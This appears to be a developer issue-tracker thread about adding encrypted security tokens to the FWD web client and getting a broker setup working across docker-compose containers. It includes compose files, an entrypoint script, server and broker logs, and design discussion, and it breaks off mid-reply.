I found that I did not test LAX policy and committed into 9709b rev 16349 but cookie was blocked due to the LAX cookie came from the cross-site response which was not the response to the top level navigation.
https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/CSRF#defense_in_depth_samesite_cookies
Continue working on the idea to use the secure header token value.

I was trying to work with a docker-compose setup and was not able the browser to the server. In this configuration, we have 2 containers. Below is the compose file:

services:

  hotel_server:
    image: hotel_gui_server:latest
    container_name: hotel_server
    hostname: fwddev1
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel h2"'
    ports:
      - 7443:7443
      - 7449-7459:7449-7459
      - 3333:3333
      - 3433:3433
    volumes:
      - hotel_gui_db_h2:/opt/hotel/db
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
    environment:
      START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'

  hotel_broker1:
    image: hotel_gui_client:latest
    container_name: hotel_broker1
    hostname: fwddev2
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker${BROKER:-1}_client.xml"'
    ports:
      - 2202:22
    depends_on:
      - hotel_server
    volumes:
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ${SEC_DIR:-../deploy/security}:/opt/hotel/security
      - ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh

volumes:
  hotel_gui_db_h2:
    external: true

The directory was very similar to the working configuration for hotel, but with "fwd" instead of "rfb" and paths. The Docker image has the same working FWD branch and revision. But I just could not connect over the https://localhost:7443/gui so I added the forwardedHost and forwardedProto values to the directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72

I had to add network_mode: bridge to the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.

Roger Borrello wrote:
directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72

I had to add network_mode: bridge to the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.

Yes... we have a problem to work through, because the broker reported:

26/01/13 19:06:18.546-0500 |  SEVERE | com.goldencode.p2j.main.BrokerCore [com.goldencode.p2j.main.BrokerCore.initialize()] | ThreadName:main | remote:agent:host=fwddev2 should be configured as a network host name or IP address
26/01/13 19:06:18.633-0500 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
26/01/13 19:06:21.724-0500 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.NoRouteToHostException: No route to host
        at java.base/sun.nio.ch.Net.connect0(Native Method)
        at java.base/sun.nio.ch.Net.connect(Net.java:579)
        at java.base/sun.nio.ch.Net.connect(Net.java:568)
        at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
        at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
        at java.base/java.net.Socket.connect(Socket.java:633)
        at java.base/java.net.Socket.connect(Socket.java:583)
        at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
        at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
        at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
        at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
        at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
        at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
        at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
        at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
        at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)

The broker is not able to connect to the server. I went on the broker and tried:

curl -k https://fwddev1:7443
curl: (7) Failed to connect to fwddev1 port 7443 after 3107 ms: Couldn't connect to server

Roger, I do not understand why you were using proxy. In our broker configuration we do not use the proxy server.

Sergey Ivanovskiy wrote:

Roger, I do not understand why you were using proxy. In our broker configuration we do not use the proxy server.

What would be needed in FWD if a customer required reverse proxy + brokers?

Sergey Ivanovskiy wrote:

Roger, you can investigate the code of BrokerManager.schedule and add changes here to see which one is selected for the particular user.

Sergey: Please add logging (FINE level) so that this could be inspected without code edits.

Greg Shah wrote:

Sergey Ivanovskiy wrote:

Roger, I do not understand why you were using proxy. In our broker configuration we do not use the proxy server.

What would be needed in FWD if a customer required reverse proxy + brokers?

I added proxy because I was accessing Docker containers from outside of the container network. It was an attempt to debug why I could not get into the container network. It really wasn't needed. Of course it is used by one of our customers in their current Docker solution, so I anticipate it being required when I get around to their network setup.

Some customers will not use reverse proxy but will use the complex containers. So we must support complex containers with and without reverse proxy. The reverse proxy cfg is more complicated so I would hesitate to start with that. Also, I think Sergey is noting that FWD doesn't currently support the reverse proxy + broker combo.

Greg, I meant that the reverse proxy server has its own configuration. The broker client and local web client looks similar if we use the proxy server in front of them. WebClientsManager is responsible for creating web client in both cases. Correct?

Roger Borrello wrote:

Roger Borrello wrote:
directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72

I had to add network_mode: bridge to the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.

Yes... we have a problem to work through, because the broker reported:
[...]

The broker is not able to connect to the server. I went on the broker and tried:
[...]
I'll work on this issue next.

This is the craziness of the Docker networking. The default bridged network does not allow me to access the docker-compose network from outside, yet within the containers can access each other by hostname. Then, giving the bridged network a name by updating the service definitions in the YAML to add network_mode: bridge, I can then access the docker-compose network from outside, but I had to change the broker XML to use the internal IP addresses 172.17.0.2 for the broker to be able to connect to the server. It's crazy.

Hynek, please help to gather all api that requires security token. We need to provide security token to get an access to the local resources managed by the web client embedded web server. In some cases this security token can be provided only with a query parameter but not in the http header. They are usages of openMimeResource to open url in new window and all driver widgets. Which cases were missed on this way?

I committed rev 16350 (9709b). Please review this incomplete version. Do you have another ideas to handle these cases?

There is this experimental browsers API https://developer.mozilla.org/en-US/docs/Web/API/Private_State_Token_API that supported by Chrome. Can it be adapted for our cases?

Greg Shah wrote:

Sergey Ivanovskiy wrote:

Roger, you can investigate the code of BrokerManager.schedule and add changes here to see which one is selected for the particular user.

Sergey: Please add logging (FINE level) so that this could be inspected without code edits.

Please review the committed rev 16352(9709b).

I believe I found the appropriate network setup for our GCD firewall that should allow the docker-compose network to co-exist without any tricks (see #7457-76). Now I can configure the broker1_client.xml with the fwddev1 and fwddev2 host names. The directory.xml is currently using localhost for the webclient embedded host, so we access it locally with https://localhost:7443/gui until I set this up in the fwddev1 VM (which is next).

I had to play games with the entrypoint the broker uses, as it was flying through to the client execution before the server was ready:

#!/bin/bash
cfgfile=$1
cd /opt/hotel/client
sleep 60
./client.sh -bc ${cfgfile}
tail -f /dev/null

There might need to be some synchronization performed. I'm checking on if the depends_on: can be bolstered.

At least with the sleep, we now see the console output go to the docker-compose console.

show consoleshow console

rfb@rfb:~/projects/hotel_gui_dev/docker$ docker compose -f docker-compose_broker.yml up
WARN[0000] No services to build                         
[+] up 3/3
 ✔ Network docker_default  Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_server  Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_broker1 Created                                                                                                                                                                           0.1s 
Attaching to hotel_broker1, hotel_server
hotel_server  | Warning: Running as root. This will affect all users.
hotel_server  | Switched to JDK 17
hotel_server  | Start file monitoring
hotel_server  | Starting server with -j hotel -c /opt/hotel/etc/server.xml
hotel_server  | Warning: FILES_TO_MONITOR has no files to monitor. Exiting.
hotel_broker1  | Warning: Running as root. This will affect all users.
hotel_broker1  | Switched to JDK 17
hotel_server   | ** Starting server...
hotel_server   | ** Waiting for server to start...
hotel_server   | ** Server started successfully!
hotel_server   | ** Waiting for the semaphore '/tmp/hotel.semaphore' to be set...
hotel_broker1  | INFO: Spawn process started with pid 124.
hotel_broker1  | 26/01/14 17:44:46.382-0500 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
hotel_broker1  | 26/01/14 17:44:46.670-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /172.18.0.3:42017 -> fwddev1/172.18.0.2:3333
hotel_broker1  | 26/01/14 17:44:46.672-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
hotel_broker1  | 26/01/14 17:44:46.672-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker1  | 26/01/14 17:44:46.674-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker1  | 26/01/14 17:44:46.674-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker1  | 26/01/14 17:44:46.674-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
hotel_broker1  | 26/01/14 17:44:46.674-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
hotel_broker1  | 26/01/14 17:44:46.675-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker1  | 26/01/14 17:44:46.675-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker1  | 26/01/14 17:44:46.676-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker1  | 26/01/14 17:44:46.676-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
hotel_broker1  | 26/01/14 17:44:46.676-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
hotel_broker1  | 26/01/14 17:44:46.677-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): '5z1g7055Vp6D8siK'
hotel_broker1  | 26/01/14 17:44:46.881-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
hotel_broker1  | 26/01/14 17:44:46.883-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
hotel_broker1  | 26/01/14 17:44:46.906-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
hotel_broker1  | 26/01/14 17:44:46.909-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
hotel_broker1  | 26/01/14 17:44:46.912-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
hotel_broker1  | 26/01/14 17:44:46.912-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (ebe8e8e8-72ec-49d5-b48f-a06ecca88ea8)
hotel_broker1  | 26/01/14 17:44:46.913-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
hotel_broker1  | 26/01/14 17:44:46.916-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[566]
hotel_broker1  | 26/01/14 17:44:46.916-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /opt/hotel/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=ebe8e8e8-72ec-49d5-b48f-a06ecca88ea8]
hotel_broker1  | 26/01/14 17:44:46.917-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 4
hotel_broker1  | 26/01/14 17:44:46.917-0500 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
hotel_broker1  | java.lang.RuntimeException: Only a stack trace, not a real exception!
hotel_broker1  |        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
hotel_broker1  |        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
hotel_broker1  |        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
hotel_broker1  |        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
hotel_broker1  | INFO: Launch cmd arguments:
hotel_broker1  | INFO: The argument number 0 is: fwd.
hotel_broker1  | INFO: The argument number 1 is: "".
hotel_broker1  | INFO: The argument number 2 is: /opt/hotel/client.
hotel_broker1  | INFO: The argument number 3 is: java.
hotel_broker1  | INFO: The argument number 4 is: -Xmx512m.
hotel_broker1  | INFO: The argument number 5 is: -Djava.awt.headless=true.
hotel_broker1  | INFO: The argument number 6 is: -Djava.library.path=/opt/fwd/build/lib/.
hotel_broker1  | INFO: The argument number 7 is: -classpath.
hotel_broker1  | INFO: The argument number 8 is: /opt/fwd/build/lib/p2j.jar.
hotel_broker1  | INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
hotel_broker1  | INFO: The argument number 10 is: net:server:host=fwddev1.
hotel_broker1  | INFO: The argument number 11 is: net:socket:nio=false.
hotel_broker1  | INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
hotel_broker1  | INFO: The argument number 13 is: net:connection:secure=true.
hotel_broker1  | INFO: The argument number 14 is: net:server:secure_port=3333.
hotel_broker1  | INFO: The argument number 15 is: sso:subject:id=bogus.
hotel_broker1  | INFO: The argument number 16 is: sso:storage:id=storage-hotel.
hotel_broker1  | INFO: The argument number 17 is: client:web:host=fwddev2.
hotel_broker1  | INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
hotel_broker1  | INFO: The argument number 19 is: client:web:port=7449.
hotel_broker1  | INFO: The argument number 20 is: server:spawner:uuid=ebe8e8e8-72ec-49d5-b48f-a06ecca88ea8.
hotel_broker1  | INFO: Check user account for: fwd.
hotel_broker1  | INFO: The password is null.
hotel_broker1  | INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/opt/hotel/client).
hotel_broker1  | INFO: Spawn result code: (0).
hotel_broker1  | INFO: Forked. Setting working directory to /opt/hotel/client.

w Enable Watch   d Detach

Now having said all this, we no longer able to enable the certificate with our trick, as https://fwddev2:7449/index.html?token=ab354f06da8ca46bb5c0010ec53ac9b9 is unreachable. is returned... and we cannot reach fwddev2.

In the server log we have:

26/01/14 17:44:33.616-0500 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000003:broker1_process], Session:00000003, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=860e8468-209d-45ce-8285-e4e11758c5d9 registered.
26/01/14 17:44:46.115-0500 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp600045447-89 | not available host:port fwddev2/172.18.0.3:7449.
26/01/14 17:44:48.591-0500 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp600045447-89 | Returns the redirect url https://fwddev2:7449/index.html?token=ab354f06da8ca46bb5c0010ec53ac9b9 as response to GUI client.

Hynek, Constantin, please review the current rev 9709b. #9709-336 I have technical difficulties with the current implementation, for an example to use fetch instead of window.assign. All these issues are due to unsupportable implementation with main-iframe in which we load web_partial-login.html that was replaced by the web client page with help of fwd_sdk.js indirectly because fwd_sdk.js has no access to the parent page.

I need to transmit secure tokens as response headers but it is possible only to send them as template page parameters.

Sergey Ivanovskiy wrote:

I need to transmit secure tokens as response headers but it is possible only to send them as template page parameters.

I think we've spent quite a bit of time on this and I'm not sure if we should continue this effort.

Is this all coming because we use Dojo for the dialogs? Perhaps we need to rethink that usage. Or can we ensure that everything Dojo needs is loaded from our servers?

Greg Shah wrote:

I think we've spent quite a bit of time on this and I'm not sure if we should continue this effort.
Is this all coming because we use Dojo for the dialogs? Perhaps we need to rethink that usage. Or can we ensure that everything Dojo needs is loaded from our servers?

No, it is related to the current incorrect implementation. I think that we need to spent time on this.

Greg, I just follow #9709-283, #9709-284 and already did some changes in rev 16350 (9709b). This task needs to be completed if we would like to use the broker client configuration with the web client page loaded into iframe using cross-site response.

Container-related details should be #7275 or if you are trying to keep the details non-private, we can create another task.

I am implementing the following idea. The web client creates the AES cryptographic key and delivers this key to AuthHandler and the js web client on clientReady(). Simultaneously, AuthHandler provides js web template index.html with the encrypted header that the js web client decrypts message and with each requests to the embedded web server it provides the encrypted header message with random value back to the server to authenticate its request. It can be GET parameters or header for fetch method or url with encrypted parameter to open a window. The encyption gives a chance to send this text to any one.

Code Review Task Branch 9709b Revisions 16351 and 16352

The logging changes are good.

Committed rev 16353 (9709b) implemented the secure tokens (#9709-349). (AuthHandler decrypts tokens generated by p2j.generateEncryptedWebToken).

The rest work is to add secure tokens to all generated by web client requests and urls to local resources.

Committed revision 16355 (9709b). This is incomplete commit. Testing and fixing found issues related to query parameter changes.

Greg Shah wrote:

Container-related details should be #7275 or if you are trying to keep the details non-private, we can create another task.

I believe you mean #7572. That's fine it's just a little broad.

Hynek, could you help with spreadsheet testcase sample? I need to test how the spreadsheet resources are loaded with 9709b and that its functionality is not affected.

Sergey Ivanovskiy wrote:

Hynek, could you help with spreadsheet testcase sample? I need to test how the spreadsheet resources are loaded with 9709b and that its functionality is not affected.

Please see #9295-28.

Sergey, in my docker compose configuration, I have 3 containers, the DB (hostname=hoteldb), the server (hostname=hotelsrv), and the broker (hostname=hotelbrk1). They are communicating nicely now... see the docker compose console outputsee the docker compose console output

rfb@rfb:~/projects/hotel_gui_dev/docker$ docker compose -f docker-compose_broker.yml up
WARN[0000] No services to build                         
[+] up 5/5
 ✔ Network docker_default  Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_db      Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_server  Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_broker2 Created                                                                                                                                                                           0.1s 
 ✔ Container hotel_broker1 Created                                                                                                                                                                           0.1s 
Attaching to hotel_broker1, hotel_broker2, hotel_db, hotel_server
Container hotel_db Waiting 
hotel_db  | Warning: Running as root. This will affect all users.
hotel_db  | Switched to JDK 17
hotel_db  | Setting initial directory and ownership of /pgdata/fwdcluster to postgres:postgres...
hotel_db  | INFO: Starting PostgreSQL cluster /pgdata/fwdcluster...
hotel_db  | pg_ctl: another server might be running; trying to start server anyway
hotel_db  | waiting for server to start....2026-01-20 19:15:25.833 EST [52] LOG:  starting PostgreSQL 14.20 (Ubuntu 14.20-1.pgdg24.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit
hotel_db  | 2026-01-20 19:15:25.833 EST [52] LOG:  listening on IPv4 address "0.0.0.0", port 5432
hotel_db  | 2026-01-20 19:15:25.833 EST [52] LOG:  listening on IPv6 address "::", port 5432
hotel_db  | 2026-01-20 19:15:25.841 EST [52] LOG:  listening on Unix socket "/pgdata/fwdcluster/.s.PGSQL.5432" 
hotel_db  | 2026-01-20 19:15:25.853 EST [53] LOG:  database system was interrupted; last known up at 2026-01-20 19:13:56 EST
hotel_db  | ...2026-01-20 19:15:28.942 EST [53] LOG:  database system was not properly shut down; automatic recovery in progress
hotel_db  | 2026-01-20 19:15:28.949 EST [53] LOG:  redo starts at 0/1B828A0
hotel_db  | 2026-01-20 19:15:28.949 EST [53] LOG:  invalid record length at 0/1B828D8: wanted 24, got 0
hotel_db  | 2026-01-20 19:15:28.949 EST [53] LOG:  redo done at 0/1B828A0 system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
hotel_db  | 2026-01-20 19:15:28.994 EST [52] LOG:  database system is ready to accept connections
hotel_db  |  done
hotel_db  | server started
hotel_db  | ✅ Cluster is running at: /pgdata/fwdcluster
Container hotel_db Healthy 
Container hotel_server Waiting 
Container hotel_server Waiting 
hotel_server  | Warning: Running as root. This will affect all users.
hotel_server  | Switched to JDK 17
hotel_server  | INFO: Waiting for server to startup
hotel_server  | 
hotel_server  | Checking if PostgreSQL is ready to accept connections...
hotel_server  | psql -U fwd_user -h hotel_db -p 5432 -d postgres -c select now()
hotel_server  |               now              
hotel_server  | -------------------------------
hotel_server  |  2026-01-20 19:15:31.765341-05
hotel_server  | (1 row)
hotel_server  | 
hotel_server  | Start file monitoring
hotel_server  | Starting server with -j hotel -c /opt/hotel/etc/server.xml
hotel_server  | Warning: FILES_TO_MONITOR has no files to monitor. Exiting.
hotel_server  | ** Starting server...
hotel_server  | ** Waiting for server to start...
Container hotel_server Healthy 
Container hotel_server Healthy 
hotel_broker2  | Warning: Running as root. This will affect all users.
hotel_broker1  | Warning: Running as root. This will affect all users.
hotel_broker2  | Switched to JDK 17
hotel_broker1  | Switched to JDK 17
hotel_server   | ** Server started successfully!
hotel_server   | ** Waiting for the semaphore '/tmp/hotel.semaphore' to be set...
hotel_broker1  | INFO: Spawn process started with pid 124.
hotel_broker1  | 26/01/20 19:17:13.719-0500 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = hotelsrv; port = 3333; secure = true;
hotel_broker1  | 26/01/20 19:17:14.038-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /172.18.0.5:41361 -> hotelsrv/172.18.0.3:3333
hotel_broker1  | 26/01/20 19:17:14.040-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
hotel_broker1  | 26/01/20 19:17:14.040-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker1  | 26/01/20 19:17:14.042-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker1  | 26/01/20 19:17:14.042-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker1  | 26/01/20 19:17:14.042-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
hotel_broker1  | 26/01/20 19:17:14.043-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
hotel_broker1  | 26/01/20 19:17:14.043-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker1  | 26/01/20 19:17:14.044-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker1  | 26/01/20 19:17:14.044-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker1  | 26/01/20 19:17:14.045-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
hotel_broker1  | 26/01/20 19:17:14.045-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
hotel_broker1  | 26/01/20 19:17:14.046-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'kf3QI5r9NU7473H8'
hotel_broker1  | 26/01/20 19:17:14.338-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
hotel_broker1  | 26/01/20 19:17:14.341-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
hotel_broker1  | 26/01/20 19:17:14.371-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
hotel_broker1  | 26/01/20 19:17:14.374-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
hotel_broker1  | 26/01/20 19:17:14.378-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
hotel_broker1  | 26/01/20 19:17:14.378-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (56c79a4b-e495-41b7-98f9-734439d89a3f)
hotel_broker1  | 26/01/20 19:17:14.379-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
hotel_broker1  | 26/01/20 19:17:14.382-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[566]
hotel_broker1  | 26/01/20 19:17:14.383-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /opt/hotel/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=56c79a4b-e495-41b7-98f9-734439d89a3f]
hotel_broker1  | 26/01/20 19:17:14.384-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 4
hotel_broker1  | 26/01/20 19:17:14.384-0500 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
hotel_broker1  | java.lang.RuntimeException: Only a stack trace, not a real exception!
hotel_broker1  |        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
hotel_broker1  |        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
hotel_broker1  |        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
hotel_broker1  |        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
hotel_broker1  | INFO: Launch cmd arguments:
hotel_broker1  | INFO: The argument number 0 is: fwd.
hotel_broker1  | INFO: The argument number 1 is: "".
hotel_broker1  | INFO: The argument number 2 is: /opt/hotel/client.
hotel_broker1  | INFO: The argument number 3 is: java.
hotel_broker1  | INFO: The argument number 4 is: -Xmx512m.
hotel_broker1  | INFO: The argument number 5 is: -Djava.awt.headless=true.
hotel_broker1  | INFO: The argument number 6 is: -Djava.library.path=/opt/fwd/build/lib/.
hotel_broker1  | INFO: The argument number 7 is: -classpath.
hotel_broker1  | INFO: The argument number 8 is: /opt/fwd/build/lib/p2j.jar.
hotel_broker1  | INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
hotel_broker1  | INFO: The argument number 10 is: net:server:host=hotelsrv.
hotel_broker1  | INFO: The argument number 11 is: net:socket:nio=false.
hotel_broker1  | INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
hotel_broker1  | INFO: The argument number 13 is: net:connection:secure=true.
hotel_broker1  | INFO: The argument number 14 is: net:server:secure_port=3333.
hotel_broker1  | INFO: The argument number 15 is: sso:subject:id=bogus.
hotel_broker1  | INFO: The argument number 16 is: sso:storage:id=storage-hotel.
hotel_broker1  | INFO: The argument number 17 is: client:web:host=hotelbrk1.
hotel_broker1  | INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
hotel_broker1  | INFO: The argument number 19 is: client:web:port=7449.
hotel_broker1  | INFO: The argument number 20 is: server:spawner:uuid=56c79a4b-e495-41b7-98f9-734439d89a3f.
hotel_broker1  | INFO: Check user account for: fwd.
hotel_broker1  | INFO: The password is null.
hotel_broker1  | INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/opt/hotel/client).
hotel_broker1  | INFO: Spawn result code: (0).
hotel_broker1  | INFO: Forked. Setting working directory to /opt/hotel/client.

This is running on my laptop, so I browse to https://localhost:7443/gui and I see in the server log:

26/01/20 19:15:51.178-0500 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=2be0f616-abbf-4578-b895-37d7d419e5d5 registered.
26/01/20 19:16:03.279-0500 |    INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:qtp2061694390-67, Session:00000005, ThreadId:00000006, User:admin | Connecting to [hotel]
26/01/20 19:17:13.332-0500 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp2061694390-127 | not available host:port hotelbrk1/172.18.0.5:7449.
26/01/20 19:17:16.312-0500 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp2061694390-127 | Returns the redirect url https://hotelbrk1:7449/index.html?token=288a893e9fcee4840ef8468dc8e3b8b5 as response to GUI client.

I am using 9709b_16336. Is there anything updated that would help? Is there a proxy to configure in this case? Or am I stuck?
However, the URL that is redirected

Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address server (https://server:7443/gui) must be accessible from the browser client. The second condition is
